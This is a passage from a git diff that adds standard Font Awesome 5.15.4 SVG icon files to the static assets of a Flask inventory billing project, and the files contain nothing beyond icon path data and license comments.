viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M12.41 148.02l232.94 105.67c6.8 3.09 14.49 3.09 21.29 0l232.94-105.67c16.55-7.51 16.55-32.52 0-40.03L266.65 2.31a25.607 25.607 0 0 0-21.29 0L12.41 107.98c-16.55 7.51-16.55 32.53 0 40.04zm487.18 88.28l-58.09-26.33-161.64 73.27c-7.56 3.43-15.59 5.17-23.86 5.17s-16.29-1.74-23.86-5.17L70.51 209.97l-58.1 26.33c-16.55 7.5-16.55 32.5 0 40l232.94 105.59c6.8 3.08 14.49 3.08 21.29 0L499.59 276.3c16.55-7.5 16.55-32.5 0-40zm0 127.8l-57.87-26.23-161.86 73.37c-7.56 3.43-15.59 5.17-23.86 5.17s-16.29-1.74-23.86-5.17L70.29 337.87 12.41 364.1c-16.55 7.5-16.55 32.5 0 40l232.94 105.59c6.8 3.08 14.49 3.08 21.29 0L499.59 404.1c16.55-7.5 16.55-32.5 0-40z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/leaf.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/leaf.svg new file mode 100644 index 00000000..f4b8af54 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/leaf.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M546.2 9.7c-5.6-12.5-21.6-13-28.3-1.2C486.9 62.4 431.4 96 368 96h-80C182 96 96 182 96 288c0 7 .8 13.7 1.5 20.5C161.3 262.8 253.4 224 384 224c8.8 0 16 7.2 16 16s-7.2 16-16 16C132.6 256 26 410.1 2.4 468c-6.6 16.3 1.2 34.9 17.5 41.6 16.4 6.8 35-1.1 41.8-17.3 1.5-3.6 20.9-47.9 71.9-90.6 32.4 43.9 94 85.8 174.9 77.2C465.5 467.5 576 326.7 576 154.3c0-50.2-10.8-102.2-29.8-144.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/lemon.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/lemon.svg new file mode 100644 index 00000000..48c86916 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/lemon.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M489.038 22.963C465.944-.13 434.648-5.93 413.947 6.129c-58.906 34.312-181.25-53.077-321.073 86.746S40.441 355.041 6.129 413.945c-12.059 20.702-6.26 51.999 16.833 75.093 23.095 23.095 54.392 28.891 75.095 16.832 58.901-34.31 181.246 53.079 321.068-86.743S471.56 156.96 505.871 98.056c12.059-20.702 6.261-51.999-16.833-75.093zM243.881 95.522c-58.189 14.547-133.808 90.155-148.358 148.358-1.817 7.27-8.342 12.124-15.511 12.124-1.284 0-2.59-.156-3.893-.481-8.572-2.144-13.784-10.83-11.642-19.403C81.901 166.427 166.316 81.93 236.119 64.478c8.575-2.143 17.261 3.069 19.403 11.642s-3.069 17.259-11.641 19.402z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/less-than-equal.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/less-than-equal.svg new file mode 100644 index 00000000..9b24365f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/less-than-equal.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M54.98 214.2l301.41 119.87c18.39 6.03 38.71-2.54 45.38-19.15l12.09-30.08c6.68-16.61-2.82-34.97-21.21-41l-175.44-68.05 175.56-68.09c18.29-6 27.74-24.27 21.1-40.79l-12.03-29.92c-6.64-16.53-26.86-25.06-45.15-19.06L54.98 137.89C41.21 142.41 32 154.5 32 168.07v15.96c0 13.56 9.21 25.65 22.98 30.17zM424 400H24c-13.25 0-24 10.74-24 24v48c0 13.25 10.75 24 24 24h400c13.25 0 24-10.75 24-24v-48c0-13.26-10.75-24-24-24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/less-than.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/less-than.svg new file mode 100644 index 00000000..ab58b54f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/less-than.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M365.46 357.74L147.04 255.89l218.47-101.88c16.02-7.47 22.95-26.51 15.48-42.53l-13.52-29C360 66.46 340.96 59.53 324.94 67L18.48 209.91a32.014 32.014 0 0 0-18.48 29v34.24c0 12.44 7.21 23.75 18.48 29l306.31 142.83c16.06 7.49 35.15.54 42.64-15.52l13.56-29.08c7.49-16.06.54-35.15-15.53-42.64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/level-down-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/level-down-alt.svg new file mode 100644 index 00000000..2e0b32fe --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/level-down-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M313.553 392.331L209.587 504.334c-9.485 10.214-25.676 10.229-35.174 0L70.438 392.331C56.232 377.031 67.062 352 88.025 352H152V80H68.024a11.996 11.996 0 0 1-8.485-3.515l-56-56C-4.021 12.926 1.333 0 12.024 0H208c13.255 0 24 10.745 24 24v328h63.966c20.878 0 31.851 24.969 17.587 40.331z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/level-up-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/level-up-alt.svg new file mode 100644 index 00000000..10ab5fdb --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/level-up-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M313.553 119.669L209.587 7.666c-9.485-10.214-25.676-10.229-35.174 0L70.438 119.669C56.232 134.969 67.062 160 88.025 160H152v272H68.024a11.996 11.996 0 0 0-8.485 3.515l-56 56C-4.021 499.074 1.333 512 12.024 512H208c13.255 0 24-10.745 24-24V160h63.966c20.878 0 31.851-24.969 17.587-40.331z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/life-ring.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/life-ring.svg new file mode 100644 index 00000000..9eaa11ec --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/life-ring.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm173.696 119.559l-63.399 63.399c-10.987-18.559-26.67-34.252-45.255-45.255l63.399-63.399a218.396 218.396 0 0 1 45.255 45.255zM256 352c-53.019 0-96-42.981-96-96s42.981-96 96-96 96 42.981 96 96-42.981 96-96 96zM127.559 82.304l63.399 63.399c-18.559 10.987-34.252 26.67-45.255 45.255l-63.399-63.399a218.372 218.372 0 0 1 45.255-45.255zM82.304 384.441l63.399-63.399c10.987 18.559 26.67 34.252 45.255 45.255l-63.399 63.399a218.396 218.396 0 0 1-45.255-45.255zm302.137 45.255l-63.399-63.399c18.559-10.987 34.252-26.67 45.255-45.255l63.399 63.399a218.403 218.403 0 0 1-45.255 45.255z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/lightbulb.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/lightbulb.svg new file mode 100644 index 00000000..83c4c761 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/lightbulb.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 352 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M96.06 454.35c.01 6.29 1.87 12.45 5.36 17.69l17.09 25.69a31.99 31.99 0 0 0 26.64 14.28h61.71a31.99 31.99 0 0 0 26.64-14.28l17.09-25.69a31.989 31.989 0 0 0 5.36-17.69l.04-38.35H96.01l.05 38.35zM0 176c0 44.37 16.45 84.85 43.56 115.78 16.52 18.85 42.36 58.23 52.21 91.45.04.26.07.52.11.78h160.24c.04-.26.07-.51.11-.78 9.85-33.22 35.69-72.6 52.21-91.45C335.55 260.85 352 220.37 352 176 352 78.61 272.91-.3 175.45 0 73.44.31 0 82.97 0 176zm176-80c-44.11 0-80 35.89-80 80 0 8.84-7.16 16-16 16s-16-7.16-16-16c0-61.76 50.24-112 112-112 8.84 0 16 7.16 16 16s-7.16 16-16 16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/link.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/link.svg new file mode 100644 index 00000000..f0fdbf4f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/link.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M326.612 185.391c59.747 59.809 58.927 155.698.36 214.59-.11.12-.24.25-.36.37l-67.2 67.2c-59.27 59.27-155.699 59.262-214.96 0-59.27-59.26-59.27-155.7 0-214.96l37.106-37.106c9.84-9.84 26.786-3.3 27.294 10.606.648 17.722 3.826 35.527 9.69 52.721 1.986 5.822.567 12.262-3.783 16.612l-13.087 13.087c-28.026 28.026-28.905 73.66-1.155 101.96 28.024 28.579 74.086 28.749 102.325.51l67.2-67.19c28.191-28.191 28.073-73.757 0-101.83-3.701-3.694-7.429-6.564-10.341-8.569a16.037 16.037 0 0 1-6.947-12.606c-.396-10.567 3.348-21.456 11.698-29.806l21.054-21.055c5.521-5.521 14.182-6.199 20.584-1.731a152.482 152.482 0 0 1 20.522 17.197zM467.547 44.449c-59.261-59.262-155.69-59.27-214.96 0l-67.2 67.2c-.12.12-.25.25-.36.37-58.566 58.892-59.387 154.781.36 214.59a152.454 152.454 0 0 0 20.521 17.196c6.402 4.468 15.064 3.789 20.584-1.731l21.054-21.055c8.35-8.35 12.094-19.239 11.698-29.806a16.037 16.037 0 0 0-6.947-12.606c-2.912-2.005-6.64-4.875-10.341-8.569-28.073-28.073-28.191-73.639 0-101.83l67.2-67.19c28.239-28.239 74.3-28.069 102.325.51 27.75 28.3 26.872 73.934-1.155 101.96l-13.087 13.087c-4.35 4.35-5.769 10.79-3.783 16.612 5.864 17.194 9.042 34.999 9.69 52.721.509 13.906 17.454 20.446 27.294 10.606l37.106-37.106c59.271-59.259 59.271-155.699.001-214.959z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/lira-sign.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/lira-sign.svg new file mode 100644 index 00000000..fdd1013a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/lira-sign.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M371.994 256h-48.019C317.64 256 312 260.912 312 267.246 312 368 230.179 416 144 416V256.781l134.603-29.912A12 12 0 0 0 288 215.155v-40.976c0-7.677-7.109-13.38-14.603-11.714L144 191.219V160.78l134.603-29.912A12 12 0 0 0 288 119.154V78.179c0-7.677-7.109-13.38-14.603-11.714L144 95.219V44c0-6.627-5.373-12-12-12H76c-6.627 0-12 5.373-12 12v68.997L9.397 125.131A12 12 0 0 0 0 136.845v40.976c0 7.677 7.109 13.38 14.603 11.714L64 178.558v30.439L9.397 221.131A12 12 0 0 0 0 232.845v40.976c0 7.677 7.109 13.38 14.603 11.714L64 274.558V468c0 6.627 5.373 12 12 12h79.583c134.091 0 223.255-77.834 228.408-211.592.261-6.782-5.211-12.408-11.997-12.408z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/list-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/list-alt.svg new file mode 100644 index 00000000..dd9b0fc2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/list-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M464 480H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h416c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48zM128 120c-22.091 0-40 17.909-40 40s17.909 40 40 40 40-17.909 40-40-17.909-40-40-40zm0 96c-22.091 0-40 17.909-40 40s17.909 40 40 40 40-17.909 40-40-17.909-40-40-40zm0 96c-22.091 0-40 17.909-40 40s17.909 40 40 40 40-17.909 40-40-17.909-40-40-40zm288-136v-32c0-6.627-5.373-12-12-12H204c-6.627 0-12 5.373-12 12v32c0 6.627 5.373 12 12 12h200c6.627 0 12-5.373 12-12zm0 96v-32c0-6.627-5.373-12-12-12H204c-6.627 0-12 5.373-12 12v32c0 6.627 5.373 12 12 12h200c6.627 0 12-5.373 12-12zm0 96v-32c0-6.627-5.373-12-12-12H204c-6.627 0-12 5.373-12 12v32c0 6.627 5.373 12 12 12h200c6.627 0 12-5.373 12-12z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/list-ol.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/list-ol.svg new file mode 100644 index 00000000..f98c60cb --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/list-ol.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M61.77 401l17.5-20.15a19.92 19.92 0 0 0 5.07-14.19v-3.31C84.34 356 80.5 352 73 352H16a8 8 0 0 0-8 8v16a8 8 0 0 0 8 8h22.83a157.41 157.41 0 0 0-11 12.31l-5.61 7c-4 5.07-5.25 10.13-2.8 14.88l1.05 1.93c3 5.76 6.29 7.88 12.25 7.88h4.73c10.33 0 15.94 2.44 15.94 9.09 0 4.72-4.2 8.22-14.36 8.22a41.54 41.54 0 0 1-15.47-3.12c-6.49-3.88-11.74-3.5-15.6 3.12l-5.59 9.31c-3.72 6.13-3.19 11.72 2.63 15.94 7.71 4.69 20.38 9.44 37 9.44 34.16 0 48.5-22.75 48.5-44.12-.03-14.38-9.12-29.76-28.73-34.88zM496 224H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-160H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16zm0 320H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM16 160h64a8 8 0 0 0 8-8v-16a8 8 0 0 0-8-8H64V40a8 8 0 0 0-8-8H32a8 8 0 0 0-7.14 4.42l-8 16A8 8 0 0 0 24 64h8v64H16a8 8 0 0 0-8 8v16a8 8 0 0 0 8 8zm-3.91 160H80a8 8 0 0 0 8-8v-16a8 8 0 0 0-8-8H41.32c3.29-10.29 48.34-18.68 48.34-56.44 0-29.06-25-39.56-44.47-39.56-21.36 0-33.8 10-40.46 18.75-4.37 5.59-3 10.84 2.8 15.37l8.58 6.88c5.61 4.56 11 2.47 16.12-2.44a13.44 13.44 0 0 1 9.46-3.84c3.33 0 9.28 1.56 9.28 8.75C51 248.19 0 257.31 0 304.59v4C0 316 5.08 320 12.09 320z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/list-ul.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/list-ul.svg new file mode 100644 index 00000000..4dadd3d7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/list-ul.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M48 48a48 48 0 1 0 48 48 48 48 0 0 0-48-48zm0 160a48 48 0 1 0 48 48 48 48 0 0 0-48-48zm0 160a48 48 0 1 0 48 48 48 48 0 0 0-48-48zm448 16H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-320H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16zm0 160H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/list.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/list.svg new file mode 100644 index 00000000..4a7f7b59 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/list.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M80 368H16a16 16 0 0 0-16 16v64a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16v-64a16 16 0 0 0-16-16zm0-320H16A16 16 0 0 0 0 64v64a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16V64a16 16 0 0 0-16-16zm0 160H16a16 16 0 0 0-16 16v64a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16v-64a16 16 0 0 0-16-16zm416 176H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-320H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16zm0 160H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/location-arrow.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/location-arrow.svg new file mode 100644 index 00000000..18df0090 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/location-arrow.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M444.52 3.52L28.74 195.42c-47.97 22.39-31.98 92.75 19.19 92.75h175.91v175.91c0 51.17 70.36 67.17 92.75 19.19l191.9-415.78c15.99-38.39-25.59-79.97-63.97-63.97z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/lock-open.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/lock-open.svg new file mode 100644 index 00000000..420e2b70 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/lock-open.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M423.5 0C339.5.3 272 69.5 272 153.5V224H48c-26.5 0-48 21.5-48 48v192c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V272c0-26.5-21.5-48-48-48h-48v-71.1c0-39.6 31.7-72.5 71.3-72.9 40-.4 72.7 32.1 72.7 72v80c0 13.3 10.7 24 24 24h32c13.3 0 24-10.7 24-24v-80C576 68 507.5-.3 423.5 0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/lock.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/lock.svg new file mode 100644 index 00000000..86a172a8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/lock.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 224h-24v-72C376 68.2 307.8 0 224 0S72 68.2 72 152v72H48c-26.5 0-48 21.5-48 48v192c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V272c0-26.5-21.5-48-48-48zm-104 0H152v-72c0-39.7 32.3-72 72-72s72 32.3 72 72v72z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/long-arrow-alt-down.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/long-arrow-alt-down.svg new file mode 100644 index 00000000..af1ffa63 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/long-arrow-alt-down.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 256 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M168 345.941V44c0-6.627-5.373-12-12-12h-56c-6.627 0-12 5.373-12 12v301.941H41.941c-21.382 0-32.09 25.851-16.971 40.971l86.059 86.059c9.373 9.373 24.569 9.373 33.941 0l86.059-86.059c15.119-15.119 4.411-40.971-16.971-40.971H168z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/long-arrow-alt-left.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/long-arrow-alt-left.svg new file mode 100644 index 00000000..e15dcf63 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/long-arrow-alt-left.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M134.059 296H436c6.627 0 12-5.373 12-12v-56c0-6.627-5.373-12-12-12H134.059v-46.059c0-21.382-25.851-32.09-40.971-16.971L7.029 239.029c-9.373 9.373-9.373 24.569 0 33.941l86.059 86.059c15.119 15.119 40.971 4.411 40.971-16.971V296z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/long-arrow-alt-right.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/long-arrow-alt-right.svg new file mode 100644 index 00000000..049c4f66 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/long-arrow-alt-right.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M313.941 216H12c-6.627 0-12 5.373-12 12v56c0 6.627 5.373 12 12 12h301.941v46.059c0 21.382 25.851 32.09 40.971 16.971l86.059-86.059c9.373-9.373 9.373-24.569 0-33.941l-86.059-86.059c-15.119-15.119-40.971-4.411-40.971 16.971V216z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/long-arrow-alt-up.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/long-arrow-alt-up.svg new file mode 100644 index 00000000..313c11e9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/long-arrow-alt-up.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 256 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M88 166.059V468c0 6.627 5.373 12 12 12h56c6.627 0 12-5.373 12-12V166.059h46.059c21.382 0 32.09-25.851 16.971-40.971l-86.059-86.059c-9.373-9.373-24.569-9.373-33.941 0l-86.059 86.059c-15.119 15.119-4.411 40.971 16.971 40.971H88z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/low-vision.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/low-vision.svg new file mode 100644 index 00000000..510a2d3e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/low-vision.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M569.344 231.631C512.96 135.949 407.81 72 288 72c-28.468 0-56.102 3.619-82.451 10.409L152.778 10.24c-7.601-10.858-22.564-13.5-33.423-5.9l-13.114 9.178c-10.86 7.601-13.502 22.566-5.9 33.426l43.131 58.395C89.449 131.73 40.228 174.683 6.682 231.581c-.01.017-.023.033-.034.05-8.765 14.875-8.964 33.528 0 48.739 38.5 65.332 99.742 115.862 172.859 141.349L55.316 244.302A272.194 272.194 0 0 1 83.61 